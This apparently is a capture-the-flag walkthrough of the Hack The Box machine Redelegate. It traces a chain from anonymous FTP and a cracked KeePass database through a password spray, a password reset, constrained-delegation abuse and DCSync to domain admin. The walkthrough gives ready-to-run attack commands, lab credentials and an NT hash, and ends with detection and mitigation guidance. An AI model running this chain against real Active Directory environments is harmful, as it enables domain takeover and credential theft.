Overview#
Redelegate is a Windows Active Directory Domain Controller that layers a chain of small misconfigurations into a full domain compromise. The box exposes anonymous FTP alongside the usual DC services and a Microsoft SQL Server instance. The FTP share leaks a shared KeePass database and a couple of “audit” documents, one of which conveniently hints at the exact weak password pattern in use on the domain (SeasonYear!). That hint cracks the KeePass passphrase, which in turn yields a set of stored credentials.
None of the recovered credentials work directly as domain accounts, but the SQLGuest entry authenticates to MSSQL as a local login. From there the SQL Server can be abused to translate SIDs into account names, producing a full list of domain users without any domain foothold. Spraying the seasonal wordlist against that user list lands Marie.Curie:Fall2024!.
Marie.Curie is a member of the Helpdesk group and holds ForceChangePassword over Helen.Frost. Resetting that account provides WinRM access and the user flag. Helen.Frost is the interesting account: it is assigned SeEnableDelegationPrivilege and, via the IT group, holds GenericAll over the FS01$ computer object. Because MachineAccountQuota is 0 and DNS record creation is blocked, unconstrained delegation is off the table. Instead, the existing FS01$ account is weaponised for constrained delegation with protocol transition, producing a cifs/dc.redelegate.vl ticket that carries the DC machine account context. That ticket is used to DCSync the Administrator NT hash and pass-the-hash into a SYSTEM-level shell.
1
2
3
4
5
6
| recon -> anonymous FTP -> KeePass DB -> cracked passphrase (seasons wordlist)
-> SQLGuest creds -> MSSQL local auth -> RID brute (domain user enum)
-> password spray -> Marie.Curie (Helpdesk) -> ForceChangePassword -> Helen.Frost
-> WinRM shell (user flag) -> SeEnableDelegationPrivilege + GenericAll over FS01$
-> constrained delegation (S4U2self/S4U2proxy) -> cifs/dc ticket as dc
-> DCSync Administrator -> WinRM as Administrator (root flag)
|
Reconnaissance#
A full TCP port scan shows the fingerprint of a Windows Domain Controller, with two services that stand out for not belonging on a DC: FTP and MSSQL.
1
2
| nmap -p- --min-rate 10000 10.10.10.x
nmap -p 21,53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001 -sCV 10.10.10.x
|
The relevant ports:
1
2
3
4
5
6
7
8
9
10
| PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl)
445/tcp open microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
|
The Kerberos, LDAP, and SMB trio confirms a DC, and RDP/SMB reporting DNS_Computer_Name: dc.redelegate.vl gives the domain (redelegate.vl) and hostname (DC). The FTP banner already advertises anonymous access, and the nmap ftp-anon script lists three files, which makes FTP the natural first stop. Port 80 is a default IIS page with nothing behind it, so it is a dead end.
The domain name and host are added to /etc/hosts:
1
| 10.10.10.x dc.redelegate.vl redelegate.vl DC
|
Initial Access#
Anonymous FTP#
Anonymous authentication succeeds and exposes three files. The KeePass database is binary, so the transfer must be switched to binary mode to avoid corrupting it.
1
2
3
| CyberAudit.txt
Shared.kdbx
TrainingAgenda.txt
|
CyberAudit.txt is a generic audit summary. TrainingAgenda.txt is more useful: one of the training sessions is titled around why SeasonYear! is a bad password, and the file dates place the box in 2024. That is a direct hint at the password format in use on the domain.
Shared.kdbx is a KeePass 2.x database:
1
| Shared.kdbx: Keepass password database 2.x KDBX
|
Cracking the KeePass Database#
keepass2john extracts a crackable hash from the database:
1
| keepass2john Shared.kdbx | tee Shared.kdbx.hash
|
The generic wordlists do not crack it in reasonable time, but the training hint narrows the keyspace to a handful of seasonal candidates. A tiny custom wordlist built from Season + Year + ! is enough:
1
2
3
4
5
| Winter2024!
Spring2024!
Summer2024!
Fall2024!
Autumn2024!
|
hashcat mode 13400 (KeePass 2 AES, no keyfile) recovers the passphrase almost instantly:
1
| hashcat -m 13400 Shared.kdbx.hash seasons
|
The database password is Fall2024!.
Exporting the database reveals several stored entries, including a set of SQL and application credentials. The one that matters is the SQLGuest login:
1
| SQLGuest:zDPBpaF4FywlqIv11vii
|
MSSQL Local Authentication#
The recovered credentials do not authenticate as domain accounts over SMB. The SQLGuest entry, however, is a SQL Server local login rather than a domain account, so it only works with local authentication. This distinction matters: without --local-auth, NetExec sends the login to the Domain Controller (which has no such domain account and returns a logon failure), while with it the credential is validated against the SQL Server’s own login store.
1
| nxc mssql dc.redelegate.vl -u SQLGuest -p zDPBpaF4FywlqIv11vii --local-auth
|
1
| MSSQL 10.10.10.x 1433 DC [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii
|
Domain User Enumeration via MSSQL#
A low-privileged SQL login cannot run xp_cmdshell here, but it can still translate SIDs to names using SUSER_SNAME. By recovering the domain SID base (for example from a well-known group) and iterating the RID range, the SQL Server itself resolves each RID to a domain principal, effectively leaking the user list with no domain credentials at all. Metasploit automates this cleanly:
1
2
3
4
5
6
| msfconsole
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set RHOSTS dc.redelegate.vl
set USERNAME SQLGuest
set PASSWORD zDPBpaF4FywlqIv11vii
run
|
The interesting domain accounts recovered:
1
2
3
4
5
6
7
8
9
10
| Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Ryan.Cooper
sql_svc
FS01$
DC$
|
Password Spray#
With a user list and the seasonal wordlist, a spray against SMB finds a hit. Mallory.Roberts returns STATUS_ACCOUNT_RESTRICTION (a privileged account with logon restrictions), but Marie.Curie reuses the seasonal password:
1
| nxc smb redelegate.vl -u users.txt -p seasons.txt --continue-on-success
|
1
| SMB 10.10.10.x 445 DC [+] redelegate.vl\Marie.Curie:Fall2024!
|
Confirming the credential as a genuine domain login:
1
| nxc smb redelegate.vl -u Marie.Curie -p 'Fall2024!'
|
1
| SMB 10.10.10.x 445 DC [+] redelegate.vl\Marie.Curie:Fall2024!
|
Lateral Movement#
BloodHound Analysis#
Collecting graph data as Marie.Curie shows the path forward. Marie.Curie is a member of the Helpdesk group, which holds ForceChangePassword over Helen.Frost. Helen.Frost in turn has CanPSRemote to the Domain Controller (Remote Management Users) and, through the IT group, GenericAll over the FS01$ computer object. Helen.Frost is also the account that carries SeEnableDelegationPrivilege, which becomes the pivot for privilege escalation.
The ForceChangePassword right allows resetting the target’s password without knowing the current one. Note that the Helpdesk ACL covers more than one account (for instance sql_svc can also be reset), but Helen.Frost is the account that leads anywhere useful.
Resetting Helen.Frost#
Using Marie.Curie’s credentials, bloodyAD performs the password reset over LDAP:
1
| bloodyAD --host DC.REDELEGATE.VL -d REDELEGATE.VL -u Marie.Curie -p 'Fall2024!' set password HELEN.FROST 'P@ssword1!'
|
1
| [+] Password changed successfully!
|
Helen.Frost is in Remote Management Users, so WinRM is available:
1
| evil-winrm -i redelegate.vl -u HELEN.FROST -p 'P@ssword1!'
|
1
2
| *Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> type user.txt
[REDACTED_USER_FLAG]
|
Checking privileges immediately reveals the escalation vector:
1
2
3
4
5
6
7
8
| *Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> whoami /priv
Privilege Name Description State
============================= ============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
|
hostname confirms the session is on the DC itself, and whoami returns redelegate\helen.frost.
Privilege Escalation#
Why Unconstrained Delegation Is Not an Option#
SeEnableDelegationPrivilege grants the holder the ability to mark computer and user accounts as trusted for delegation. The classic route would be unconstrained delegation: stand up a controlled computer object, flag it TRUSTED_FOR_DELEGATION, register a DNS record and SPN for it, then coerce the DC to authenticate to it and capture its TGT. That path requires two things this domain denies. MachineAccountQuota is 0, so a normal user cannot join a new machine account:
1
| nxc ldap dc.redelegate.vl -u marie.curie -p 'Fall2024!' -M maq
|
1
| MAQ 10.10.10.x 389 DC MachineAccountQuota: 0
|
DNS record creation is also refused, so a coercible target with a resolvable SPN cannot be constructed. Kerberos coercion needs an SPN backed by a DNS A record, and neither can be created here.
Configuring Constrained Delegation on FS01$#
The workaround combines the two misconfigurations that are available: GenericAll over the existing FS01$ object (write access) and SeEnableDelegationPrivilege (the right to set delegation flags). Rather than creating a machine, the existing FS01$ account is configured for constrained delegation with protocol transition to cifs/dc.redelegate.vl. With TRUSTED_TO_AUTH_FOR_DELEGATION set, FS01$ can perform S4U2self for any principal (protocol transition) and then S4U2proxy to reach the allowed SPN while impersonating that principal.
First, a TGT is requested for Helen.Frost. Kerberos operations against this DC repeatedly failed with KRB_AP_ERR_SKEW until the local clock was synchronised to the DC’s time (here via a small time-sync wrapper, htbsync, that sets the clock immediately before running each command):
1
2
| htbsync impacket-getTGT redelegate.vl/helen.frost -dc-ip 10.10.10.x
export KRB5CCNAME=helen.frost.ccache
|
Using that ticket, FS01$ is taken over and configured. The password change requires write control (GenericAll), the UAC flag requires SeEnableDelegationPrivilege, and the delegation target attribute requires write control:
1
2
3
4
5
6
7
8
| # Own the computer account by resetting its password
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" set password "FS01$" 'P@ssword1!'
# Enable protocol transition (S4U2self)
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
# Point constrained delegation at CIFS on the DC (S4U2proxy target)
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
|
1
2
3
| [+] Password changed successfully!
[-] ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$'s userAccountControl
[+] FS01$'s msDS-AllowedToDelegateTo has been updated
|
Requesting the Impersonation Ticket#
The S4U request initially failed with KRB_AP_ERR_BADMATCH. The cause was the lingering KRB5CCNAME still pointing at helen.frost.ccache, so getST tried to reuse Helen.Frost’s TGT instead of requesting a fresh one for FS01$. Clearing the variable and letting getST obtain its own TGT (with -dc-ip) resolves it:
1
2
| unset KRB5CCNAME
htbsync impacket-getST -dc-ip 10.10.10.x redelegate.vl/fs01\$:'P@ssword1!' -spn cifs/dc.redelegate.vl -impersonate dc
|
1
2
3
4
| [*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@[email protected]
|
The principal being impersonated is the DC’s own machine account (dc). As a Domain Controller, that account inherently holds directory replication rights, so a CIFS ticket to the DC issued in its context is enough to drive a DRSUAPI dump.
DCSync#
Loading the resulting ticket and running secretsdump against the DC extracts the Administrator secrets:
1
2
| export KRB5CCNAME=dc@[email protected]
htbsync impacket-secretsdump -k dc.redelegate.vl -just-dc-user Administrator
|
1
2
3
| Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:db3a850aa5ede4cfacb57490d9b789b1ca0802ae11e09db5f117c1a8d1ccd173
|
Administrator Shell#
With the Administrator NT hash, a pass-the-hash WinRM session lands as the domain administrator:
1
| evil-winrm -i dc.redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7
|
1
2
| *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED_ROOT_FLAG]
|
Detection and Mitigation#
| Stage | Root cause | Mitigation |
|---|
| Anonymous FTP exposing secrets | Anonymous FTP enabled with a credential store in the share | Disable anonymous FTP; never place KeePass databases or credential material on shared services |
| KeePass passphrase cracked | Weak, predictable seasonal passphrase; hint leaked in a plaintext file | Enforce strong, unique KeePass master passphrases; do not document password patterns in accessible files |
| MSSQL local login | Reusable local SQL login stored in a shared vault | Rotate and restrict SQL logins; avoid storing service credentials in shared vaults |
| Domain user enumeration via MSSQL | SUSER_SNAME SID translation available to any login | Restrict SQL public role permissions; monitor bulk SID-to-name resolution |
| Password spray success | Seasonal password reuse across domain accounts | Enforce strong password policy, banned-password lists, and account lockout/smart lockout |
| ForceChangePassword ACL | Helpdesk group granted broad password-reset rights over user accounts | Scope delegated password-reset rights tightly; audit ACLs on user objects |
| SeEnableDelegationPrivilege on a non-admin | Delegation-configuration right assigned to a standard user | Remove SeEnableDelegationPrivilege from all but tightly controlled admins |
| GenericAll over FS01$ | IT group holds full control of a computer object | Remove excessive object ACLs; apply least privilege to computer objects |
| Constrained delegation to DCSync | Attacker-controlled TRUSTED_TO_AUTH_FOR_DELEGATION + msDS-AllowedToDelegateTo | Mark sensitive accounts “Account is sensitive and cannot be delegated” / add to Protected Users; alert on delegation attribute changes |
Detection signals:
- FTP anonymous logons and outbound transfers of
.kdbx files. - Bursts of failed logons across many accounts (Event ID 4625) and Kerberos pre-auth failures (Event ID 4771) indicative of a spray.
- SQL Server logins from a local
SQLGuest account followed by repeated SUSER_SNAME/SID translation activity. - Password-reset events without user context (Event IDs 4723/4724) tied to helpdesk accounts.
- Account-change events on the
FS01$ computer object (Event ID 4738), specifically userAccountControl gaining TRUSTED_TO_AUTH_FOR_DELEGATION and msDS-AllowedToDelegateTo being populated. - S4U TGS requests (Event ID 4769) for
cifs/dc.redelegate.vl with a transited/impersonated service field. - Directory replication reads (Event ID 4662 referencing DS-Replication-Get-Changes GUIDs) or DRSUAPI activity originating from a non-DC host.
Lessons Learned#
- Anonymous services and shared credential vaults are a lethal combination: a single exposed KeePass file collapsed the initial access barrier entirely.
- Security awareness material that documents the exact bad-password format effectively hands an attacker the spray wordlist. Guidance should never contain live examples of the pattern in use.
- Local SQL Server logins still enable meaningful Active Directory reconnaissance through SID translation, even with no domain foothold.
SeEnableDelegationPrivilege is close to domain-admin-equivalent when paired with write access to any computer object; it should be treated as a Tier 0 right.- Hardening one delegation vector is not enough.
MachineAccountQuota of 0 and DNS lockdown correctly blocked unconstrained delegation, but an existing, writable computer account reopened the same outcome through constrained delegation with protocol transition. - Kerberos-based tooling is time-sensitive. Persistent
KRB_AP_ERR_SKEW and stale KRB5CCNAME values are configuration issues, not dead ends, and are worth ruling out before abandoning a technique.
Command Reference#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| # Recon
nmap -p- --min-rate 10000 10.10.10.x
nmap -p 21,53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001 -sCV 10.10.10.x
# Anonymous FTP loot (use binary mode for the KeePass DB)
ftp [email protected]
# Crack the KeePass database with a seasonal wordlist
keepass2john Shared.kdbx | tee Shared.kdbx.hash
hashcat -m 13400 Shared.kdbx.hash seasons # -> Fall2024!
# MSSQL local auth with the recovered SQLGuest login
nxc mssql dc.redelegate.vl -u SQLGuest -p zDPBpaF4FywlqIv11vii --local-auth
# Domain user enumeration via SID translation
msfconsole -q -x "use auxiliary/admin/mssql/mssql_enum_domain_accounts; \
set RHOSTS dc.redelegate.vl; set USERNAME SQLGuest; set PASSWORD zDPBpaF4FywlqIv11vii; run"
# Password spray
nxc smb redelegate.vl -u users.txt -p seasons.txt --continue-on-success # -> Marie.Curie:Fall2024!
# Reset Helen.Frost via Helpdesk ForceChangePassword
bloodyAD --host DC.REDELEGATE.VL -d REDELEGATE.VL -u Marie.Curie -p 'Fall2024!' set password HELEN.FROST '<password>'
# WinRM as Helen.Frost (user flag)
evil-winrm -i redelegate.vl -u HELEN.FROST -p '<password>'
# Get a TGT for Helen.Frost (sync clock to the DC to avoid KRB_AP_ERR_SKEW)
htbsync impacket-getTGT redelegate.vl/helen.frost -dc-ip 10.10.10.x
export KRB5CCNAME=helen.frost.ccache
# Weaponise FS01$ for constrained delegation with protocol transition
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" set password "FS01$" '<password>'
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
htbsync bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
# S4U2self + S4U2proxy impersonating the DC account
unset KRB5CCNAME
htbsync impacket-getST -dc-ip 10.10.10.x redelegate.vl/fs01\$:'<password>' -spn cifs/dc.redelegate.vl -impersonate dc
# DCSync the Administrator hash
export KRB5CCNAME=dc@[email protected]
htbsync impacket-secretsdump -k dc.redelegate.vl -just-dc-user Administrator
# Pass-the-hash as Administrator (root flag)
evil-winrm -i dc.redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7
|
Based on public write-ups of the Hack The Box machine Redelegate.